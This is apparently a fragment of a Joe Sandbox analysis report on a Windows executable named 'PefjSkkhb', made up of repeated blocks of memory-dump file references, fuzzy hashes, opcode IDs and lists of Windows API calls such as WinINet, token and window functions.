                                                                                                                                                                            • API String ID: 3340791633-0
                                                                                                                                                                            • Opcode ID: 41522454ef5ffe58f3c47094a62836e99305b084494bc2ef8d406c22aeaeab5d
                                                                                                                                                                            • Instruction ID: 8b1851fdb70ef856eaf8a5d9dfa835c5a9466fba48d042e4ad7390b15bb3f977
                                                                                                                                                                            • Opcode Fuzzy Hash: 41522454ef5ffe58f3c47094a62836e99305b084494bc2ef8d406c22aeaeab5d
                                                                                                                                                                            • Instruction Fuzzy Hash: 1D419D31E0854A8AFB749F14D4013BA6761EF86BD4F1851B2C61EC37E9CE3CE8918780
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Internet$CloseConnectHandleOpen
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 1463438336-0
                                                                                                                                                                            • Opcode ID: 9c6a6dce98b363ecdfbcced4837c14e9bd6a16cec9fa7559d6c8d26d8fbc25c1
                                                                                                                                                                            • Instruction ID: ddd294ba224490f0d946c8c07d338f56a17286f644ffe6fed246accb2e4df390
                                                                                                                                                                            • Opcode Fuzzy Hash: 9c6a6dce98b363ecdfbcced4837c14e9bd6a16cec9fa7559d6c8d26d8fbc25c1
                                                                                                                                                                            • Instruction Fuzzy Hash: 29316C3AA0874282EB349F1AE55477967A1FB4ABD5F088175DA4D87B48DF2CE0548B40
                                                                                                                                                                            APIs
                                                                                                                                                                            • GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00007FF697B7A27B,?,?,?,00007FF697B7A236), ref: 00007FF697B83DB1
                                                                                                                                                                            • WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00007FF697B7A27B,?,?,?,00007FF697B7A236), ref: 00007FF697B83E13
                                                                                                                                                                            • WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00007FF697B7A27B,?,?,?,00007FF697B7A236), ref: 00007FF697B83E4D
                                                                                                                                                                            • FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00007FF697B7A27B,?,?,?,00007FF697B7A236), ref: 00007FF697B83E77
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: ByteCharEnvironmentMultiStringsWide$Free
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 1557788787-0
                                                                                                                                                                            • Opcode ID: 01582a1cc1afdad6e1d5985337141992fa687edcd13d7850452916e3cfeba0bf
                                                                                                                                                                            • Instruction ID: 54811a118c10c969678a3816746553cf73f834f4fa976cb98b4e70aad4dab4e7
                                                                                                                                                                            • Opcode Fuzzy Hash: 01582a1cc1afdad6e1d5985337141992fa687edcd13d7850452916e3cfeba0bf
                                                                                                                                                                            • Instruction Fuzzy Hash: 02215E31A1879281E6309F16A44006AB6A5FF59FD0F484175DE9EA3B9CDF3CE4528700
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Window$Long
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 847901565-0
                                                                                                                                                                            • Opcode ID: 17af9f186f091bf577d3b0a8bd6a034cb4dd905415e59c2f23c9277c7aa4b264
                                                                                                                                                                            • Instruction ID: c8be4d9d30bf009d6da56b39b9198606887ed0211903bd30909fa420562b6622
                                                                                                                                                                            • Opcode Fuzzy Hash: 17af9f186f091bf577d3b0a8bd6a034cb4dd905415e59c2f23c9277c7aa4b264
                                                                                                                                                                            • Instruction Fuzzy Hash: 7221A036A08B4589EA709F25988433977A1EF86FE4F1542B1DA6D87BE8CF3CE441C340
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Cursor$LongMenuPopupProcTrackWindow
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 2864067406-0
                                                                                                                                                                            • Opcode ID: b766ee5e7a6f79c275b6e8452a41ed66ab3f515ad85ef8642b06b7120701f994
                                                                                                                                                                            • Instruction ID: 72f885e7db71c0d78552be553af63496548c6a751d87e8a46472a4065d88515e
                                                                                                                                                                            • Opcode Fuzzy Hash: b766ee5e7a6f79c275b6e8452a41ed66ab3f515ad85ef8642b06b7120701f994
                                                                                                                                                                            • Instruction Fuzzy Hash: 89318E3AA08A4A85EB20DF16E4943BDA760FB85FD4F140671DA4D83BA8CF3CD595D700
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: lstrcmpilstrcpylstrlen
                                                                                                                                                                            • String ID: cdecl
                                                                                                                                                                            • API String ID: 4031866154-3896280584
                                                                                                                                                                            • Opcode ID: deaeff6138769fdf6d873c851be99aeb1f41605d6981fa24cc03cadfce71aac2
                                                                                                                                                                            • Instruction ID: 9d17eeb92427fb88c5557c3b1ddff33ddb3333b2cd1a1d5d371de4669e77bc50
                                                                                                                                                                            • Opcode Fuzzy Hash: deaeff6138769fdf6d873c851be99aeb1f41605d6981fa24cc03cadfce71aac2
                                                                                                                                                                            • Instruction Fuzzy Hash: A1219F3160474285EA24AF16A89427873A1EF8AFD4F495174EF9E87398DF7DE450C304
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Heap$InformationProcessToken$AllocCopyErrorFreeLastLength
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 837644225-0
                                                                                                                                                                            • Opcode ID: 9a34ca7cdec84128c61d79319dba9bc3ccc379250e2fae1bd0d7ccebff0f194a
                                                                                                                                                                            • Instruction ID: c2a1768f71eb5a7e3cb63730842fadf4e39e250342a48bb3558ee3578a4c166a
                                                                                                                                                                            • Opcode Fuzzy Hash: 9a34ca7cdec84128c61d79319dba9bc3ccc379250e2fae1bd0d7ccebff0f194a
                                                                                                                                                                            • Instruction Fuzzy Hash: 58219A76A18A4186EB28EF21E804768B3E5FB89BE1F554179DA1D8374CEF3DE941C700
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: CreateMessageObjectSendStockWindow
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3970641297-0
                                                                                                                                                                            • Opcode ID: dfdf152a6b4170b9c012631cbf21b5eef6d1f67974f7a0a9349fa7dc94decf0b
                                                                                                                                                                            • Instruction ID: 7040e1fd797d4fdc3899aaa062aec03a3833c2eb838ccea584a891a696faf3e5
                                                                                                                                                                            • Opcode Fuzzy Hash: dfdf152a6b4170b9c012631cbf21b5eef6d1f67974f7a0a9349fa7dc94decf0b
                                                                                                                                                                            • Instruction Fuzzy Hash: 20213D76A18BC58AE7B48F15E4447AAB7A0FB8AB80F440175DA8D83B58DF7CD494CB00
                                                                                                                                                                            APIs
                                                                                                                                                                              • Part of subcall function 00007FF697B42A54: GetWindowLongPtrW.USER32 ref: 00007FF697B42A71
                                                                                                                                                                            • GetClientRect.USER32(?,?,?,?,?,00007FF697B8AA36,?,?,?,?,?,?,?,?,?,00007FF697B427AF), ref: 00007FF697BF22C4
                                                                                                                                                                            • GetCursorPos.USER32(?,?,?,?,?,00007FF697B8AA36,?,?,?,?,?,?,?,?,?,00007FF697B427AF), ref: 00007FF697BF22CF
                                                                                                                                                                            • ScreenToClient.USER32 ref: 00007FF697BF22DD
                                                                                                                                                                            • DefDlgProcW.USER32(?,?,?,?,?,00007FF697B8AA36,?,?,?,?,?,?,?,?,?,00007FF697B427AF), ref: 00007FF697BF231F
                                                                                                                                                                              • Part of subcall function 00007FF697BEE894: LoadCursorW.USER32 ref: 00007FF697BEE945
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: ClientCursor$LoadLongProcRectScreenWindow
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 1626762757-0
                                                                                                                                                                            • Opcode ID: c10d22a9dfdb007e9cd3e446db2f26fc59a904d9b079c484f8598dfd72a81c9f
                                                                                                                                                                            • Instruction ID: 7bd9344a854eb5aff1b64b2031ad823c90fceea25f6aee6235e592c4ecbd05c4
                                                                                                                                                                            • Opcode Fuzzy Hash: c10d22a9dfdb007e9cd3e446db2f26fc59a904d9b079c484f8598dfd72a81c9f
                                                                                                                                                                            • Instruction Fuzzy Hash: 04213C3AA0868686EA24EF05E4805AD7761FB86FC4F9501B1EB4D87B59CF3CE941DB00
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: _ctrlfp
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 697997973-0
                                                                                                                                                                            • Opcode ID: 696024c0d85e9950b44dad3db47e8c6049c7f355de1dae667ed974782f5b2eb5
                                                                                                                                                                            • Instruction ID: 47b6b015a870db9a3fa668f389411e75c11cee8e9ed0e3109f73e43bce059953
                                                                                                                                                                            • Opcode Fuzzy Hash: 696024c0d85e9950b44dad3db47e8c6049c7f355de1dae667ed974782f5b2eb5
                                                                                                                                                                            • Instruction Fuzzy Hash: D411F631D0C58686E6209F38914127BA271FF9B7C0F644270FB898BEADDE2DD5418B00
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: CloseCurrentHandleMessageObjectSingleThreadWait_invalid_parameter_noinfo
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 2979156933-0
                                                                                                                                                                            • Opcode ID: 2a49c66315dd4afd268b707153c3627d2a79b8a5ce35e179a418e828e304454b
                                                                                                                                                                            • Instruction ID: 8cd55dc60d9e2ba7741fc0836bbb32754ff8c020f89ba33c39770de20988f940
                                                                                                                                                                            • Opcode Fuzzy Hash: 2a49c66315dd4afd268b707153c3627d2a79b8a5ce35e179a418e828e304454b
                                                                                                                                                                            • Instruction Fuzzy Hash: 4221D832A087818AF720DF16B88016A77A1FB85BD4F444175ED9D83B69CF3CE1459740
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: ClientRectScreen$InvalidateWindow
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 357397906-0
                                                                                                                                                                            • Opcode ID: 30ca773a2ae41b56c6e1d6d31e0bfc9c1d6a93403dc69e79101ac1cf7de44ee4
                                                                                                                                                                            • Instruction ID: 3f0316567f0633b527af4a28f954139c9b01547c5f2a28bf17d82d6510d1246f
                                                                                                                                                                            • Opcode Fuzzy Hash: 30ca773a2ae41b56c6e1d6d31e0bfc9c1d6a93403dc69e79101ac1cf7de44ee4
                                                                                                                                                                            • Instruction Fuzzy Hash: 2921F7BAA04745DEEB00DF78D8845AC7BB0F749B88B404866EB5893B1CDF78D654CB50
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: ErrorLast$abort
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 1447195878-0
                                                                                                                                                                            • Opcode ID: 93a8c6ec86c577cad6803fb95bafd4c8778ff4d5622681f9be56b0e8e8078c7b
                                                                                                                                                                            • Instruction ID: 8674cfb250ed157df04f7d8836228de33075aa13130eb90a96804abc25b9904c
                                                                                                                                                                            • Opcode Fuzzy Hash: 93a8c6ec86c577cad6803fb95bafd4c8778ff4d5622681f9be56b0e8e8078c7b
                                                                                                                                                                            • Instruction Fuzzy Hash: 0201C834B0D24282FA78AF39956613E2161EF46BD0F4414B8D81ECAFEEFD2CE8414A00
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: CounterPerformanceQuerySleep
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 2875609808-0
                                                                                                                                                                            • Opcode ID: c6a5989f9dc195674d757a8e27f3c1042de8158b51fda3090b6682196588991b
                                                                                                                                                                            • Instruction ID: 90aeaed4b7d53d8b722ced16c7c53491d05b2ea7a77e7e87096add8ae2dfbf30
                                                                                                                                                                            • Opcode Fuzzy Hash: c6a5989f9dc195674d757a8e27f3c1042de8158b51fda3090b6682196588991b
                                                                                                                                                                            • Instruction Fuzzy Hash: 1201D234E08B8682EA265F38948417AB360FF9AB81F060376ED4FA1568CF2CF5858600
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 1539411459-0
                                                                                                                                                                            • Opcode ID: 058f7c961f19f1df1cfb2125e1cbf4c754dffe1c4cdb6de871a3d3459fa768a6
                                                                                                                                                                            • Instruction ID: 496584f1dcf9383e72af4faffd0bd84d4d371e7826f1b59e32db0ac3921e711a
                                                                                                                                                                            • Opcode Fuzzy Hash: 058f7c961f19f1df1cfb2125e1cbf4c754dffe1c4cdb6de871a3d3459fa768a6
                                                                                                                                                                            • Instruction Fuzzy Hash: 9201B539B1879186E7205F15B809729AF60FF82FD4F1841B4DE9943BA5CF7DE4419B00
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: CurrentOpenProcessThreadToken
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3974789173-0
                                                                                                                                                                            • Opcode ID: 5cd93aab99a75fcfcb42631ab9fe43dfed1bd9e6d723e162398547d1910a1280
                                                                                                                                                                            • Instruction ID: 7921a9fe81d3b5838a20e7dd677f9f4d86b68987d24ba7ddfb704dd8dc5f5c2a
                                                                                                                                                                            • Opcode Fuzzy Hash: 5cd93aab99a75fcfcb42631ab9fe43dfed1bd9e6d723e162398547d1910a1280
                                                                                                                                                                            • Instruction Fuzzy Hash: 98F06D76A1990292FB646F71EC1476823E0FF5AFD5F884074C91EC2258EF3C99899300
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: CapsDesktopDeviceReleaseWindow
                                                                                                                                                                            • String ID:
